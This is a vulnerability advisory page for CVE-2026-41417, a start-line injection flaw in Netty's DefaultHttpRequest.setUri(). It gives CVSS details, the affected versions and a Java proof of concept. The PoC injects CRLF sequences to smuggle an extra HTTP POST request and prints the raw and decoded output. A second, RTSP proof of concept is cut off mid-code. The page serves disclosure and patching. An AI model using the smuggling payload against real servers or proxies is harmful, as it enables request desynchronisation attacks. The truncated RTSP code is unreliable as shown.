Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-41417 — netty

🟡 CVSS 5.3 — Medium ✅ No Known Exploit CWE-444 NVD
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

  • io.netty.handler.codec.http.DefaultHttpRequest
  • The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
  • setUri(String uri) only performs checkNotNull and does not validate
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • setUri(String uri) delegates to the parent implementation
  • io.netty.handler.codec.http.HttpRequestEncoder
  • Writes request.uri() directly into the request line
  • io.netty.handler.codec.rtsp.RtspEncoder
  • Writes request.uri() directly into the request line

This creates the following bypass:

1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI

2. Later, attacker-influenced input is passed into setUri()

3. HttpRequestEncoder or RtspEncoder encodes that value verbatim

4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

```java

import io.netty.buffer.ByteBuf;

import io.netty.channel.embedded.EmbeddedChannel;

import io.netty.handler.codec.http.DefaultHttpRequest;

import io.netty.handler.codec.http.HttpMethod;

import io.netty.handler.codec.http.HttpRequestEncoder;

import io.netty.handler.codec.http.HttpServerCodec;

import io.netty.handler.codec.http.HttpVersion;

import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {

public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());

EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

DefaultHttpRequest request = new DefaultHttpRequest(

HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

request.setUri("/s1 HTTP/1.1\r\n" +

"\r\n" +

"POST /s2 HTTP/1.1\r\n" +

"content-length: 11\r\n\r\n" +

"Hello World" +

"GET /s1");

client.writeOutbound(request);

ByteBuf outbound = client.readOutbound();

System.out.println("=== Raw encoded request ===");

System.out.println(outbound.toString(CharsetUtil.US_ASCII));

System.out.println("=== Decoded by HttpServerCodec ===");

server.writeInbound(outbound.retainedDuplicate());

Object msg;

while ((msg = server.readInbound()) != null) {

System.out.println(msg);

}

outbound.release();

client.finishAndReleaseAll();

server.finishAndReleaseAll();

}

}

```

When reproduced, the raw encoded request looks like this:

```http

GET /s1 HTTP/1.1

POST /s2 HTTP/1.1

content-length: 11

Hello WorldGET /s1 HTTP/1.1

```

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

  • GET /s1
  • POST /s2 with body Hello World
  • trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

```java

import io.netty.buffer.ByteBuf;

import io.netty.channel.embedded.EmbeddedChannel;

import io.netty.handler.codec.http.DefaultHttpRequest;

import io.netty.handler.codec.rtsp.RtspDecoder;

import io.netty.handler.codec.rtsp.RtspEncoder;

import io.netty.handler.codec.rtsp.RtspMethods;

import io.netty.handler.codec.rtsp.RtspVersions;

import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc {

public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());

EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

DefaultHttpRequest request = new DefaultHttpRequest(

RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");

request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +

"CSe

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-41417 is classified as CWE-444: HTTP Request Smuggling. A proxy and a server disagree on where one request ends, letting an attacker slip a second request past the front end.

Affected software

CVE-2026-41417 is recorded against 2 packages.

  • io.netty:netty-codec-http (from 4.2.0.Alpha1 up to 4.2.13.Final)
  • netty (from 4.2.0 up to 4.2.13)

Timeline and source

Published on 5 May 2026 and last revised on 8 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Other advisories for this package

io.netty:netty-codec-http has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-444: HTTP Request Smuggling) in other software:

CVE-2026-41417 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity Medium
CVSS Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CWE CWE-444
Public Exploit ✅ No
Source NVD
Published 2026-05-05
Updated 2026-08-20
Modified 2026-05-08
Fix URL N/A

Affected Packages

Software From version Fixed in
io.netty:netty-codec-http 4.2.0.Alpha1 4.2.13.Final
netty 4.2.0 4.2.13

Vulnerability Monitoring

Track new vulnerabilities in netty

CVE-2026-41417 is rated CVSS 5.3 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026